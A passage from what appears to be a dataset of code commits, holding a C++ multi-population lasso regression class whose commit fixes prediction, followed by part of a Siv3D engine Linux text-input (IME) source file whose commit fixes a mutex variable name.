tmpX.row(count) = X.row(idx.at(j));\n tmpY.row(count) = y.row(idx.at(j));\n tmpPop(count++) = i;\n }\n }\n X = tmpX;\n y = tmpY;\n population = tmpPop;\n}\n\nvoid MultiPopLasso::removeColumns() {\n long c = X.cols();\n removeCols = VectorXi::Zero(c);\n for (long i = 0; i < c; i++) {\n double var = Math::getInstance().variance(X.col(i));\n if (var < 1e-3) {\n removeCols(i) = 1;\n }\n }\n long r = X.rows();\n long b = r \/ popNum;\n MatrixXd tmp;\n double cor;\n double std;\n for (long i = 0; i < r; i += b) {\n tmp = X.block(i, 0, b, c);\n for (long j = 0; j < c; j++) {\n if (removeCols(j) == 0) {\n for (long k = j + 1; k < c; k++) {\n if (removeCols(k) == 0) {\n cor = Math::getInstance().correlation(tmp.col(j), tmp.col(k));\n if (cor > 0.98) {\n removeCols(k) = 1;\n }\n }\n }\n std = Math::getInstance().std(tmp.col(j));\n if (std < 1e-9) {\n removeCols(j) = 1;\n }\n }\n }\n }\n}\n\nMatrixXd MultiPopLasso::normalizeData_col(MatrixXd a) {\n long c = a.cols();\n VectorXd mean = a.colwise().mean();\n VectorXd std_inv = VectorXd::Zero(c);\n for (long i = 0; i < c; i++) {\n std_inv(i) = 1.0 \/ Math::getInstance().std(a.col(i));\n }\n return ((a.colwise() - mean).array().colwise() * std_inv.array()).matrix();\n}\n\nvoid MultiPopLasso::formatData() {\n \/\/ format data, put data into X matrix and init beta\n\n \/\/ todo: here we don't remove columns, may add it later\n\/\/ for (long i = removeCols.size() - 1; i >= 0; i--) {\n\/\/ if (removeCols(i) == 1) {\n\/\/ Math::getInstance().removeCol(&X, i);\n\/\/ }\n\/\/ }\n long c = X.cols();\n long r = X.rows();\n MatrixXd tmpX = MatrixXd::Zero(r, c * popNum);\n double pIdx = 0;\n for (long i=0;i<r;i++){\n pIdx = population(i);\n for (long j=0;j<c;j++){\n tmpX(i, j*popNum+pIdx) = X(i, j);\n }\n }\n X = tmpX;\n beta = MatrixXd::Random(c * popNum, 1);\n L = ((X.transpose()*X).eigenvalues()).real().maxCoeff();\n}\n\nvoid MultiPopLasso::initC() {\n long c = X.cols();\n C = MatrixXd::Zero(c * popNum, c);\n for (long i = 0; i < c; i++) {\n for (long j = 0; j < popNum; j++) {\n C(i*j+j, i) = gamma;\n }\n }\n}\n\nMatrixXd MultiPopLasso::proximal_derivative() {\n long r = beta.rows();\n long c = beta.cols();\n MatrixXd A = MatrixXd::Zero(r*popNum, c);\n MatrixXd tmp = C*beta;\n for (long i=0;i<r*popNum;i++){\n A.row(i) = Math::getInstance().L2Thresholding(tmp.row(i)\/mu);\n }\n return X.transpose()*(X*beta-y) + C.transpose()*A;\n}\n\nMatrixXd MultiPopLasso::proximal_operator(MatrixXd in, float lr) {\n MatrixXd sign = ((in.array()>0).matrix()).cast<double>();\n sign += -1.0*((in.array()<0).matrix()).cast<double>();\n in = ((in.array().abs()-lr*lambda).max(0)).matrix();\n return (in.array()*sign.array()).matrix();\n}\n\n\/\/MatrixXd MultiPopLasso::deriveMatrixA(double lr, long loops, double tol) {\n\/\/ long r = beta.rows();\n\/\/ long c = C.rows();\n\/\/ MatrixXd A = MatrixXd::Zero(r, c);\n\/\/ MatrixXd bct = beta*C.transpose();\n\/\/ double prev_residue = numeric_limits<double>::max();\n\/\/ double curr_residue;\n\/\/ for (long i=0;i<loops;i++){\n\/\/ A = A - lr*(bct - A);\n\/\/ A = project(A);\n\/\/ curr_residue = (bct*A).trace() - 0.5*A.norm();\n\/\/ if (prev_residue - curr_residue<= tol){\n\/\/ break;\n\/\/ }\n\/\/ else{\n\/\/ prev_residue = curr_residue;\n\/\/ }\n\/\/ }\n\/\/ return A;\n\/\/}\n\/\/\n\/\/MatrixXd MultiPopLasso::project(MatrixXd A) {\n\/\/ if (A.norm() <= 1){\n\/\/ return A;\n\/\/ }\n\/\/ else{\n\/\/ return A;\n\/\/ }\n\/\/}\n\/\/\ndouble MultiPopLasso::getL(){\n double c = C.norm()\/mu;\n return c + L;\n}\n\nvector<long> MultiPopLasso::getPopulationIndex(long pi) {\n vector<long> idx;\n for (long i=0;i<y.rows();i++){\n if (population(i) == pi){\n idx.push_back(i);\n }\n }\n return idx;\n}\n\nMatrixXd MultiPopLasso::getBetaInside() {\n long c = X.cols()\/popNum;\n MatrixXd r = MatrixXd::Zero(popNum, c);\n for (long i=0;i<popNum;i++){\n for (long j=0;j<c;j++){\n r(i, j) = beta(j*popNum+i,i\/popNum);\n }\n }\n return r;\n}\n\n\nMatrixXd MultiPopLasso::getBeta() {\n long c = X.cols()\/popNum;\n MatrixXd r = MatrixXd::Zero(popNum*betaAll.cols(), c);\n for (long k=0;k<betaAll.cols();k++){\n for (long i=0;i<popNum;i++){\n for (long j=0;j<c;j++){\n r(i+k*popNum, j) = betaAll(j*popNum+i,k);\n }\n }\n }\n return r.transpose()*100;\n}\n\nvoid MultiPopLasso::setMu(double m) {\n mu = m;\n}\n\nvoid MultiPopLasso::setGamma(double g) {\n gamma = g;\n}\n\nMatrixXd MultiPopLasso::getFormattedBeta() {\n return beta;\n}\n\nMatrixXd MultiPopLasso::predict() {\n cout << \"does not allow prediction with original X, please use predict(X, population) method instead\"<<endl;\n return MatrixXd::Random(1,1);\n}\n\nMatrixXd MultiPopLasso::predict(MatrixXd x) {\n cout << \"does not allow prediction without population information\"<<endl;\n return MatrixXd::Random(1,1);\n}\n\nMatrixXd MultiPopLasso::predict(MatrixXd x, VectorXd pop){\n long r= x.rows();\n MatrixXd y(r, 1);\n MatrixXd b = getBeta();\n for (long i=0;i<r;i++){\n y.row(i) = x.row(i)*(b.row(long(pop(i))).transpose());\n }\n return y;\n}\n\nMultiPopLasso::MultiPopLasso() {\n initTrainingFlag = false;\n lambda = default_lambda;\n mu = default_mu;\n gamma = default_gamma;\n betaAll = MatrixXd::Ones(1,1);\n}\n\nMultiPopLasso::MultiPopLasso(const unordered_map<string, string> &options) {\n initTrainingFlag = false;\n try {\n lambda = stod(options.at(\"lambda\"));\n } catch (std::out_of_range& oor) {\n lambda = default_lambda;\n }\n try {\n mu = stod(options.at(\"mu\"));\n } catch (std::out_of_range& oor) {\n mu = default_mu;\n }\n try {\n gamma = stod(options.at(\"gamma\")); \n } catch (std::out_of_range& oor) {\n gamma = default_gamma;\n }\n betaAll = MatrixXd::Ones(1,1);\n}\n\nvoid MultiPopLasso::updateBetaAll() {\n if (betaAll.rows() == 1){\n betaAll = beta;\n }\n else{\n betaAll.conservativeResize(betaAll.rows(),betaAll.cols()+1);\n betaAll.col(betaAll.cols()-1) = beta;\n }\n}\n\nMatrixXd MultiPopLasso::getBetaAll() {\n return betaAll;\n}\n\nvoid MultiPopLasso::reSetFlag() {\n initTrainingFlag = false;\n}\n<commit_msg>fix prediction for tests<commit_after>\/\/\n\/\/ Created by haohanwang on 2\/2\/16.\n\/\/\n\n#include <limits>\n#include <stdexcept>\n\n#ifdef BAZEL\n#include \"Models\/MultiPopLasso.hpp\"\n#else\n#include \"MultiPopLasso.hpp\"\n#endif\n\nusing namespace std;\nusing namespace Eigen;\n\nvoid MultiPopLasso::setXY(MatrixXd m, MatrixXd n) {\n X = m;\n y = n;\n}\n\nvoid MultiPopLasso::initBeta() {\n cout << \"Multipop lasso does not suppor init beta explicitly here, beta will be initialized when formating data\" << endl;\n}\n\nvoid MultiPopLasso::setLambda(double l) { lambda = l; }\n\nvoid MultiPopLasso::setPopulation(VectorXd pop) {\n \/\/ population indicator must start from 0\n population = pop;\n popNum = (long)population.maxCoeff() + 1;\n}\n\ndouble MultiPopLasso::cost() {\n initTraining();\n return 0.5 * (y - X * beta).squaredNorm() + lambda * groupPenalization();\n}\n\ndouble MultiPopLasso::groupPenalization() {\n double r = 0;\n MatrixXd tmp = getBetaInside();\n for (long i = 0; i < tmp.rows(); i++) {\n r += tmp.row(i).squaredNorm();\n }\n return r;\n}\n\nvoid MultiPopLasso::assertReadyToRun() {\n \/\/ X and Y must be compatible\n if (!((X.rows() > 0) && (X.rows() == y.rows())\n && (X.cols() > 0) && (y.cols() > 0))) {\n throw runtime_error(\"X and Y matrices of size (\" + to_string(X.rows()) + \",\" + to_string(X.cols()) + \"), and (\" +\n to_string(y.rows()) + \",\" + to_string(y.cols()) + \") are not compatible.\");\n }\n \/\/ Population Labels must have n rows (one for each sample)\n if (population.rows() != X.rows()) {\n throw runtime_error(\"Population labels of length \" + to_string(population.rows()) + \n \" are the wrong size for X with \" + to_string(X.rows()) + \" samples.\");\n }\n cerr << \"assertReadyToRun passed\" << endl;\n}\n\nvoid MultiPopLasso::setAttributeMatrix(const string& str, MatrixXd* Z) {\n if (str == \"population\") {\n cerr << \"setting population\" << endl;\n \/\/ todo: stop copying data\n setPopulation(VectorXd(Map<VectorXd>(Z->data(), Z->rows())));\n } else if (str == \"X\") {\n setX(*Z);\n } else if (str == \"Y\") {\n setY(*Z);\n } else {\n throw runtime_error(\"MultiPopLasso models have no attribute with name\" + str);\n }\n}\n\nvoid MultiPopLasso::initTraining() {\n if (!initTrainingFlag){\n initTrainingFlag = true;\n reArrangeData();\n formatData();\n initC();\n }\n}\n\nvoid MultiPopLasso::reArrangeData() {\n \/\/ arrange data according to its population\n long r = X.rows();\n long c = X.cols();\n MatrixXd tmpX = MatrixXd::Zero(r, c);\n MatrixXd tmpY = MatrixXd::Zero(r, 1);\n VectorXd tmpPop = VectorXd::Zero(r);\n vector<long> idx;\n long count = 0;\n for (long i=0; i<popNum; i++){\n idx = getPopulationIndex(i);\n for (unsigned long j=0; j<idx.size(); j++){\n tmpX.row(count) = X.row(idx.at(j));\n tmpY.row(count) = y.row(idx.at(j));\n tmpPop(count++) = i;\n }\n }\n X = tmpX;\n y = tmpY;\n population = tmpPop;\n}\n\nvoid MultiPopLasso::removeColumns() {\n long c = X.cols();\n removeCols = VectorXi::Zero(c);\n for (long i = 0; i < c; i++) {\n double var = Math::getInstance().variance(X.col(i));\n if (var < 1e-3) {\n removeCols(i) = 1;\n }\n }\n long r = X.rows();\n long b = r \/ popNum;\n MatrixXd tmp;\n double cor;\n double std;\n for (long i = 0; i < r; i += b) {\n tmp = X.block(i, 0, b, c);\n for (long j = 0; j < c; j++) {\n if (removeCols(j) == 0) {\n for (long k = j + 1; k < c; k++) {\n if (removeCols(k) == 0) {\n cor = Math::getInstance().correlation(tmp.col(j), tmp.col(k));\n if (cor > 0.98) {\n removeCols(k) = 1;\n }\n }\n }\n std = Math::getInstance().std(tmp.col(j));\n if (std < 1e-9) {\n removeCols(j) = 1;\n }\n }\n }\n }\n}\n\nMatrixXd MultiPopLasso::normalizeData_col(MatrixXd a) {\n long c = a.cols();\n VectorXd mean = a.colwise().mean();\n VectorXd std_inv = VectorXd::Zero(c);\n for (long i = 0; i < c; i++) {\n std_inv(i) = 1.0 \/ Math::getInstance().std(a.col(i));\n }\n return ((a.colwise() - mean).array().colwise() * std_inv.array()).matrix();\n}\n\nvoid MultiPopLasso::formatData() {\n \/\/ format data, put data into X matrix and init beta\n\n \/\/ todo: here we don't remove columns, may add it later\n\/\/ for (long i = removeCols.size() - 1; i >= 0; i--) {\n\/\/ if (removeCols(i) == 1) {\n\/\/ Math::getInstance().removeCol(&X, i);\n\/\/ }\n\/\/ }\n long c = X.cols();\n long r = X.rows();\n MatrixXd tmpX = MatrixXd::Zero(r, c * popNum);\n double pIdx = 0;\n for (long i=0;i<r;i++){\n pIdx = population(i);\n for (long j=0;j<c;j++){\n tmpX(i, j*popNum+pIdx) = X(i, j);\n }\n }\n X = tmpX;\n beta = MatrixXd::Random(c * popNum, 1);\n L = ((X.transpose()*X).eigenvalues()).real().maxCoeff();\n}\n\nvoid MultiPopLasso::initC() {\n long c = X.cols();\n C = MatrixXd::Zero(c * popNum, c);\n for (long i = 0; i < c; i++) {\n for (long j = 0; j < popNum; j++) {\n C(i*j+j, i) = gamma;\n }\n }\n}\n\nMatrixXd MultiPopLasso::proximal_derivative() {\n long r = beta.rows();\n long c = beta.cols();\n MatrixXd A = MatrixXd::Zero(r*popNum, c);\n MatrixXd tmp = C*beta;\n for (long i=0;i<r*popNum;i++){\n A.row(i) = Math::getInstance().L2Thresholding(tmp.row(i)\/mu);\n }\n return X.transpose()*(X*beta-y) + C.transpose()*A;\n}\n\nMatrixXd MultiPopLasso::proximal_operator(MatrixXd in, float lr) {\n MatrixXd sign = ((in.array()>0).matrix()).cast<double>();\n sign += -1.0*((in.array()<0).matrix()).cast<double>();\n in = ((in.array().abs()-lr*lambda).max(0)).matrix();\n return (in.array()*sign.array()).matrix();\n}\n\n\/\/MatrixXd MultiPopLasso::deriveMatrixA(double lr, long loops, double tol) {\n\/\/ long r = beta.rows();\n\/\/ long c = C.rows();\n\/\/ MatrixXd A = MatrixXd::Zero(r, c);\n\/\/ MatrixXd bct = beta*C.transpose();\n\/\/ double prev_residue = numeric_limits<double>::max();\n\/\/ double curr_residue;\n\/\/ for (long i=0;i<loops;i++){\n\/\/ A = A - lr*(bct - A);\n\/\/ A = project(A);\n\/\/ curr_residue = (bct*A).trace() - 0.5*A.norm();\n\/\/ if (prev_residue - curr_residue<= tol){\n\/\/ break;\n\/\/ }\n\/\/ else{\n\/\/ prev_residue = curr_residue;\n\/\/ }\n\/\/ }\n\/\/ return A;\n\/\/}\n\/\/\n\/\/MatrixXd MultiPopLasso::project(MatrixXd A) {\n\/\/ if (A.norm() <= 1){\n\/\/ return A;\n\/\/ }\n\/\/ else{\n\/\/ return A;\n\/\/ }\n\/\/}\n\/\/\ndouble MultiPopLasso::getL(){\n double c = C.norm()\/mu;\n return c + L;\n}\n\nvector<long> MultiPopLasso::getPopulationIndex(long pi) {\n vector<long> idx;\n for (long i=0;i<y.rows();i++){\n if (population(i) == pi){\n idx.push_back(i);\n }\n }\n return idx;\n}\n\nMatrixXd MultiPopLasso::getBetaInside() {\n long c = X.cols()\/popNum;\n MatrixXd r = MatrixXd::Zero(popNum, c);\n for (long i=0;i<popNum;i++){\n for (long j=0;j<c;j++){\n r(i, j) = beta(j*popNum+i,i\/popNum);\n }\n }\n return r;\n}\n\n\nMatrixXd MultiPopLasso::getBeta() {\n long c = X.cols()\/popNum;\n MatrixXd r = MatrixXd::Zero(popNum*betaAll.cols(), c);\n for (long k=0;k<betaAll.cols();k++){\n for (long i=0;i<popNum;i++){\n for (long j=0;j<c;j++){\n r(i+k*popNum, j) = betaAll(j*popNum+i,k);\n }\n }\n }\n return r.transpose()*100;\n}\n\nvoid MultiPopLasso::setMu(double m) {\n mu = m;\n}\n\nvoid MultiPopLasso::setGamma(double g) {\n gamma = g;\n}\n\nMatrixXd MultiPopLasso::getFormattedBeta() {\n return beta;\n}\n\nMatrixXd MultiPopLasso::predict() {\n cout << \"does not allow prediction with original X, please use predict(X, population) method instead\"<<endl;\n return MatrixXd::Random(1,1);\n}\n\nMatrixXd MultiPopLasso::predict(MatrixXd x) {\n cout << \"does not allow prediction without population information\"<<endl;\n return MatrixXd::Random(1,1);\n}\n\nMatrixXd MultiPopLasso::predict(MatrixXd x, VectorXd pop){\n long r= x.rows();\n MatrixXd y(r, 1);\n MatrixXd b = getBetaInside();\n for (long i=0;i<r;i++){\n y.row(i) = x.row(i)*(b.row(long(pop(i))).transpose());\n }\n return y;\n}\n\nMultiPopLasso::MultiPopLasso() {\n initTrainingFlag = false;\n lambda = default_lambda;\n mu = default_mu;\n gamma = default_gamma;\n betaAll = MatrixXd::Ones(1,1);\n}\n\nMultiPopLasso::MultiPopLasso(const unordered_map<string, string> &options) {\n initTrainingFlag = false;\n try {\n lambda = stod(options.at(\"lambda\"));\n } catch (std::out_of_range& oor) {\n lambda = default_lambda;\n }\n try {\n mu = stod(options.at(\"mu\"));\n } catch (std::out_of_range& oor) {\n mu = default_mu;\n }\n try {\n gamma = stod(options.at(\"gamma\")); \n } catch (std::out_of_range& oor) {\n gamma = default_gamma;\n }\n betaAll = MatrixXd::Ones(1,1);\n}\n\nvoid MultiPopLasso::updateBetaAll() {\n if (betaAll.rows() == 1){\n betaAll = beta;\n }\n else{\n betaAll.conservativeResize(betaAll.rows(),betaAll.cols()+1);\n betaAll.col(betaAll.cols()-1) = beta;\n }\n}\n\nMatrixXd MultiPopLasso::getBetaAll() {\n return betaAll;\n}\n\nvoid MultiPopLasso::reSetFlag() {\n initTrainingFlag = false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------\n\/\/\n\/\/\tThis file is part of the Siv3D Engine.\n\/\/\n\/\/\tCopyright (c) 2008-2021 Ryo Suzuki\n\/\/\tCopyright (c) 2016-2021 OpenSiv3D Project\n\/\/\n\/\/\tLicensed under the MIT License.\n\/\/\n\/\/-----------------------------------------------\n\n# include <Siv3D\/EngineLog.hpp>\n# include <Siv3D\/Keyboard.hpp>\n# include <Siv3D\/Window\/IWindow.hpp>\n# include <Siv3D\/Common\/Siv3DEngine.hpp>\n# include \"CTextInput.hpp\"\n\nextern \"C\"\n{\n\tusing namespace s3d;\n\t\n\tCTextInput* pTextInput = nullptr;\n\t\n\tXIMCallback preeditStart;\n\tXIMCallback preeditDraw;\n\tXIMCallback preeditDone;\n\tXIMCallback preeditCaret;\n\n\tvoid preeditStartCallback(XIC, XPointer, XPointer)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tvoid preeditDoneCallback(XIC, XPointer, XPointer)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tvoid preeditDrawCallback(XIC ic, XPointer client_data, XIMPreeditDrawCallbackStruct *call_data)\n\t{\n\t\tpTextInput->preeditDrawCallback(ic, client_data, call_data);\n\t}\n\n\tvoid preeditCaretCallback(XIC, XPointer, XIMPreeditCaretCallbackStruct *)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tXVaNestedList s3d_PreeditAttributes(XPointer client_data)\n\t{\n\t\tpreeditStart.client_data = client_data;\n\t\tpreeditStart.callback = (XIMProc)preeditStartCallback;\n\t\tpreeditDone.client_data = client_data;\n\t\tpreeditDone.callback = (XIMProc)preeditDoneCallback;\n\t\tpreeditDraw.client_data = client_data;\n\t\tpreeditDraw.callback = (XIMProc)preeditDrawCallback;\n\t\tpreeditCaret.client_data = client_data;\n\t\tpreeditCaret.callback = (XIMProc)preeditCaretCallback;\n\n\t\treturn XVaCreateNestedList(0,\n\t\t\t\t\t\t\t\t XNPreeditStartCallback, &preeditStart.client_data,\n\t\t\t\t\t\t\t\t XNPreeditDoneCallback, &preeditDone.client_data,\n\t\t\t\t\t\t\t\t XNPreeditDrawCallback, &preeditDraw.client_data,\n\t\t\t\t\t\t\t\t XNPreeditCaretCallback, &preeditCaret.client_data,\n\t\t\t\t\t\t\t\t NULL);\n\t}\n\n\tvoid s3d_InputText(char *text)\n\t{\n\t\tpTextInput->sendInputText(Unicode::FromUTF8(text));\n\t}\n\n\tvoid s3d_SetICFocus(XIC)\n\t{\n\t\tpTextInput->updateWindowFocus(true);\n\t}\n\n\tvoid s3d_UnsetICFocus(XIC)\n\t{\n\t\tpTextInput->updateWindowFocus(false);\n\t}\n\n\tXIC s3d_GetXICFromGLFWWindow(GLFWwindow *window);\n}\n\nnamespace s3d\n{\n\tCTextInput::CTextInput()\n\t{\n\t\tpTextInput = this;\n\t}\n\t\n\tCTextInput::~CTextInput()\n\t{\n\t\tLOG_SCOPED_TRACE(U\"CTextInput::~CTextInput()\");\n\t\t\n\t\tpTextInput = nullptr;\n\t}\n\t\n\tvoid CTextInput::init()\n\t{\n\t\tLOG_SCOPED_TRACE(U\"CTextInput::init()\");\n\n\t\tif (GLFWwindow* glfwWindow = static_cast<GLFWwindow*>(SIV3D_ENGINE(Window)->getHandle()))\n\t\t{\n\t\t\t::glfwSetCharCallback(glfwWindow, OnCharacterInput);\n\t\t}\n\t}\n\t\n\tvoid CTextInput::update()\n\t{\n\t\t{\n\t\t\tstd::lock_guard lock{ m_mutex };\n\t\t\t\n\t\t\tm_chars = m_internalChars;\n\t\t\t\n\t\t\tm_internalChars.clear();\n\t\t}\n\t\t\n\t\t{\n\t\t\tstd::lock_guard lock{ m_mutexPreeditStatus };\n\t\t\t\n\t\t\tm_preeditText = m_internalPreeditText;\n\n\t\t\tm_preeditTextStyle = m_internalPreeditTextStyle;\n\n\t\t\tm_preeditCaret = m_internalPreeditCaret;\n\t\t}\n\t}\n\t\n\tvoid CTextInput::pushChar(const uint32 ch)\n\t{\n\t\tstd::lock_guard lock{ m_mutex };\n\t\t\n\t\tm_internalChars.push_back(static_cast<char32>(ch));\n\t}\n\t\n\tconst String& CTextInput::getChars() const\n\t{\n\t\treturn m_chars;\n\t}\n\t\n\tconst String& CTextInput::getEditingText() const\n\t{\n\t\treturn m_preeditText;\n\t}\n\t\n\tvoid CTextInput::enableIME(bool enabled)\n\t{\n\t\tm_imeEnabled = enabled;\n\t\tupdateICFocus();\n\t}\n\t\n\tstd::pair<int32, int32> CTextInput::getCursorIndex() const\n\t{\n\t\treturn{ m_preeditCaret, 0};\n\t}\n\t\n\tconst Array<String>& CTextInput::getCandidates() const\n\t{\n\t\tstatic const Array<String> dummy;\n\t\treturn dummy;\n\t}\n\n\tconst Array<EditingTextCharStyle>& CTextInput::getEditingTextStyle() const\n\t{\n\t\treturn m_preeditTextStyle;\n\t}\n\n\tvoid CTextInput::preeditDrawCallback(XIC, XPointer, XIMPreeditDrawCallbackStruct* call_data)\n\t{\n\t\tstd::lock_guard lock{ m_mutexPreeditStatus };\n\t\t\n\t\tm_internalPreeditCaret = call_data->caret;\n\t\t\n\t\tif (call_data->text)\n\t\t{\n\t\t\tString text;\n\t\t\tif (call_data->text->encoding_is_wchar)\n\t\t\t{\n\t\t\t\ttext = Unicode::FromWstring(call_data->text->string.wide_char);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttext = Unicode::FromUTF8(call_data->text->string.multi_byte);\n\t\t\t}\n\n\t\t\tm_internalPreeditText.erase(call_data->chg_first, call_data->chg_length);\n\t\t\tm_internalPreeditText.insert(call_data->chg_first, text);\n\n\t\t\tm_internalPreeditTextStyle.erase(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first + call_data->chg_length));\n\t\t\tm_internalPreeditTextStyle.insert(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), text.length(), EditingTextCharStyle::NoStyle);\n\n\t\t\tauto itr = std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first);\n\t\t\tEditingTextCharStyle style = EditingTextCharStyle::NoStyle;\n\t\t\tfor(size_t idx = 0; idx < text.length(); idx++)\n\t\t\t{\n\t\t\t\tauto feedback = call_data->text->feedback[idx];\n\t\t\t\tif(feedback == 0)\n\t\t\t\t{\n\t\t\t\t\t*itr = style;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (feedback & XIMReverse)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr |= EditingTextCharStyle::Highlight;\n\t\t\t\t\t}\n\t\t\t\t\tif (feedback & XIMHighlight)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr |= EditingTextCharStyle::DashedUnderline;\n\t\t\t\t\t}\n\t\t\t\t\tif (feedback & XIMUnderline)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr = (*itr & ~EditingTextCharStyle::UnderlineMask) | EditingTextCharStyle::Underline;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\titr++;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_internalPreeditTextStyle.erase(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first + call_data->chg_length));\n\t\t\tm_internalPreeditText.erase(call_data->chg_first, call_data->chg_length);\n\t\t}\n\n\n\t}\n\n\tvoid CTextInput::updateWindowFocus(bool focus)\n\t{\n\t\tm_windowHasFocus = focus;\n\t\tupdateICFocus();\n\t}\n\n\tvoid CTextInput::sendInputText(const String& text)\n\t{\n\t\tstd::lock_guard lock { m_mutexChars };\n\n\t\tm_internalChars.append(text);\n\t}\n\n\tvoid CTextInput::updateICFocus()\n\t{\n\t\tXIC ic = s3d_GetXICFromGLFWWindow(static_cast<GLFWwindow*>(SIV3D_ENGINE(Window)->getHandle()));\n\t\tif (ic)\n\t\t{\n\t\t\tif (m_imeEnabled && m_windowHasFocus)\n\t\t\t{\n\t\t\t\tXSetICFocus(ic);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tXUnsetICFocus(ic);\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid CTextInput::OnCharacterInput(GLFWwindow*, const uint32 codePoint)\n\t{\n\t\tSIV3D_ENGINE(TextInput)->pushChar(codePoint);\n\t}\n}\n<commit_msg>[Linux] 変数名の変更し忘れを修正<commit_after>\/\/-----------------------------------------------\n\/\/\n\/\/\tThis file is part of the Siv3D Engine.\n\/\/\n\/\/\tCopyright (c) 2008-2021 Ryo Suzuki\n\/\/\tCopyright (c) 2016-2021 OpenSiv3D Project\n\/\/\n\/\/\tLicensed under the MIT License.\n\/\/\n\/\/-----------------------------------------------\n\n# include <Siv3D\/EngineLog.hpp>\n# include <Siv3D\/Keyboard.hpp>\n# include <Siv3D\/Window\/IWindow.hpp>\n# include <Siv3D\/Common\/Siv3DEngine.hpp>\n# include \"CTextInput.hpp\"\n\nextern \"C\"\n{\n\tusing namespace s3d;\n\t\n\tCTextInput* pTextInput = nullptr;\n\t\n\tXIMCallback preeditStart;\n\tXIMCallback preeditDraw;\n\tXIMCallback preeditDone;\n\tXIMCallback preeditCaret;\n\n\tvoid preeditStartCallback(XIC, XPointer, XPointer)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tvoid preeditDoneCallback(XIC, XPointer, XPointer)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tvoid preeditDrawCallback(XIC ic, XPointer client_data, XIMPreeditDrawCallbackStruct *call_data)\n\t{\n\t\tpTextInput->preeditDrawCallback(ic, client_data, call_data);\n\t}\n\n\tvoid preeditCaretCallback(XIC, XPointer, XIMPreeditCaretCallbackStruct *)\n\t{\n\t\t\/\/ do nothing\n\t}\n\n\tXVaNestedList s3d_PreeditAttributes(XPointer client_data)\n\t{\n\t\tpreeditStart.client_data = client_data;\n\t\tpreeditStart.callback = (XIMProc)preeditStartCallback;\n\t\tpreeditDone.client_data = client_data;\n\t\tpreeditDone.callback = (XIMProc)preeditDoneCallback;\n\t\tpreeditDraw.client_data = client_data;\n\t\tpreeditDraw.callback = (XIMProc)preeditDrawCallback;\n\t\tpreeditCaret.client_data = client_data;\n\t\tpreeditCaret.callback = (XIMProc)preeditCaretCallback;\n\n\t\treturn XVaCreateNestedList(0,\n\t\t\t\t\t\t\t\t XNPreeditStartCallback, &preeditStart.client_data,\n\t\t\t\t\t\t\t\t XNPreeditDoneCallback, &preeditDone.client_data,\n\t\t\t\t\t\t\t\t XNPreeditDrawCallback, &preeditDraw.client_data,\n\t\t\t\t\t\t\t\t XNPreeditCaretCallback, &preeditCaret.client_data,\n\t\t\t\t\t\t\t\t NULL);\n\t}\n\n\tvoid s3d_InputText(char *text)\n\t{\n\t\tpTextInput->sendInputText(Unicode::FromUTF8(text));\n\t}\n\n\tvoid s3d_SetICFocus(XIC)\n\t{\n\t\tpTextInput->updateWindowFocus(true);\n\t}\n\n\tvoid s3d_UnsetICFocus(XIC)\n\t{\n\t\tpTextInput->updateWindowFocus(false);\n\t}\n\n\tXIC s3d_GetXICFromGLFWWindow(GLFWwindow *window);\n}\n\nnamespace s3d\n{\n\tCTextInput::CTextInput()\n\t{\n\t\tpTextInput = this;\n\t}\n\t\n\tCTextInput::~CTextInput()\n\t{\n\t\tLOG_SCOPED_TRACE(U\"CTextInput::~CTextInput()\");\n\t\t\n\t\tpTextInput = nullptr;\n\t}\n\t\n\tvoid CTextInput::init()\n\t{\n\t\tLOG_SCOPED_TRACE(U\"CTextInput::init()\");\n\n\t\tif (GLFWwindow* glfwWindow = static_cast<GLFWwindow*>(SIV3D_ENGINE(Window)->getHandle()))\n\t\t{\n\t\t\t::glfwSetCharCallback(glfwWindow, OnCharacterInput);\n\t\t}\n\t}\n\t\n\tvoid CTextInput::update()\n\t{\n\t\t{\n\t\t\tstd::lock_guard lock{ m_mutexChars };\n\t\t\t\n\t\t\tm_chars = m_internalChars;\n\t\t\t\n\t\t\tm_internalChars.clear();\n\t\t}\n\t\t\n\t\t{\n\t\t\tstd::lock_guard lock{ m_mutexPreeditStatus };\n\t\t\t\n\t\t\tm_preeditText = m_internalPreeditText;\n\n\t\t\tm_preeditTextStyle = m_internalPreeditTextStyle;\n\n\t\t\tm_preeditCaret = m_internalPreeditCaret;\n\t\t}\n\t}\n\t\n\tvoid CTextInput::pushChar(const uint32 ch)\n\t{\n\t\tstd::lock_guard lock{ m_mutexChars };\n\t\t\n\t\tm_internalChars.push_back(static_cast<char32>(ch));\n\t}\n\t\n\tconst String& CTextInput::getChars() const\n\t{\n\t\treturn m_chars;\n\t}\n\t\n\tconst String& CTextInput::getEditingText() const\n\t{\n\t\treturn m_preeditText;\n\t}\n\t\n\tvoid CTextInput::enableIME(bool enabled)\n\t{\n\t\tm_imeEnabled = enabled;\n\t\tupdateICFocus();\n\t}\n\t\n\tstd::pair<int32, int32> CTextInput::getCursorIndex() const\n\t{\n\t\treturn{ m_preeditCaret, 0};\n\t}\n\t\n\tconst Array<String>& CTextInput::getCandidates() const\n\t{\n\t\tstatic const Array<String> dummy;\n\t\treturn dummy;\n\t}\n\n\tconst Array<EditingTextCharStyle>& CTextInput::getEditingTextStyle() const\n\t{\n\t\treturn m_preeditTextStyle;\n\t}\n\n\tvoid CTextInput::preeditDrawCallback(XIC, XPointer, 